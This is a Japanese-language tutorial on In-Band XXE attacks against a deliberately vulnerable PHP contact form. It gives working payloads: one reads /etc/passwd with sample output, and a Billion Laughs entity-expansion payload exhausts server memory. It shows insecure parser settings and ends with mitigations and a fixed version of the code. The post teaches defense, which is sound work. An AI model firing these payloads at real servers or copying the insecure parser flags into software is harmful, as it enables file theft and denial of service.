はじめに
XML External Entity(XXE)攻撃は、XML パーサの「外部エンティティ読み込み」機能を悪用して、
機密ファイルの読み取りや DoS を引き起こす攻撃手法です。
本記事では In-Band XXE(インバンド XXE) を、
実際の脆弱な PHP コードを使いながら「どう攻撃が成立するのか」を段階的に解説します。
1. 対象アプリ:脆弱な contact フォーム
ターゲットは以下のようなシンプルな問い合わせフォームです:
/contact.php
フォームを送信すると、以下の XML が POST で送られます:
<contact>
<name>Anna</name>
<email>anna@example.com</email>
<message>Hello</message>
</contact>
Burp Suite で送信内容をインターセプトすると、XML がそのまま body に入っているのが確認できます。
2. このアプリはなぜ XXE に脆弱なのか?
以下の contact_submit.php のコードが原因です:
libxml_disable_entity_loader(false);
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$xmlData = file_get_contents('php://input');
$doc = new DOMDocument();
$doc->loadXML($xmlData, LIBXML_NOENT | LIBXML_DTDLOAD);
$expandedContent = $doc->getElementsByTagName('name')[0]->textContent;
echo "Thank you, " .$expandedContent . "! Your message has been received.";
}
ここには致命的な問題があります。
XXE が発生するポイント
| 危険箇所 | 説明 |
|---|---|
libxml_disable_entity_loader(false) |
外部エンティティ読み込みを 許可 してしまっている |
LIBXML_NOENT |
エンティティを 自動展開 |
LIBXML_DTDLOAD |
外部 DTD のロードを 許可 |
つまり、攻撃者が作った DTD をそのままパーサが読み込み、エンティティを展開してしまう状態です。
3. In-Band XXE 攻撃(ファイル読み取り)
このアプリは <name> の値をレスポンスに返します。
「じゃあ
<name>の中身を/etc/passwdに置き換えたら?」
→ 当然そのまま返ってくる。
というわけで、以下の XXE payload を投下します。
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<contact>
<name>&xxe;</name>
<email>test@test.com</email>
<message>test</message>
</contact>
Burp で元の XML を全置換して「Send」。
攻撃結果:レスポンスに /etc/passwd が返ってくる
Thank you, root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
これが In-Band XXE の特徴:
- 攻撃結果が直接レスポンスに現れる
- Blind ではないので非常に分かりやすい
- その場でファイル読み取りが可能
4. XML Entity Expansion(エンティティ展開)の仕組み
攻撃のキモは、この「エンティティ展開」です。
最もシンプルな例:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "Hello XML!" >
]>
<contact>
<name>&xxe; &xxe;</name>
<email>test@test.com</email>
<message>test</message>
</contact>
レスポンス:
Thank you, Hello XML! Hello XML! ...
XML パーサは &xxe; を必ず展開するため、
攻撃者が仕込んだ文字列やファイル内容がそのまま UI やレスポンスに流れ込みます。
5. DoS:Billion Laughs Attack(エンティティ爆発攻撃)
エンティティを組み合わせれば、指数関数的な膨張を起こせます。
<!DOCTYPE lolz [
<!ENTITY lol "LOL">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<contact>
<name>&lol3;</name>
<email>a@a.com</email>
<message>a</message>
</contact>
結果:
- 小さな XML が 何億倍にも膨れ上がる
- サーバのメモリを枯渇
- アプリが停止 or とても怒る
これが「Billion Laughs Attack」です。
6. XXE 対策(開発者必須)
| 対策 | 説明 |
|---|---|
| 外部エンティティを禁止 | 最強の対策 |
| DTD の読み込みを禁止 | これだけでも攻撃難易度激増 |
LIBXML_NOENT を使用しない |
エンティティ展開をやめる |
| JSON など XML 以外の形式に移行 | 可能なら XML を捨てるのが一番健康 |
PHP の修正版:
libxml_disable_entity_loader(true);
$doc->loadXML($xmlData, LIBXML_NONET);
まとめ
In-Band XXE のポイントは以下:
- レスポンスに結果が返るので攻撃成功が一瞬で分かる
- 外部エンティティ読み込みが有効だと即アウト
- ファイル読み取り・DoS・情報漏洩が簡単に起きる
- Burp Suite との相性が抜群で実験しやすい
XML パーサは「基本的に素直すぎる」ので、
開発者がしっかり制限しないと危険な挙動をしてしまいます。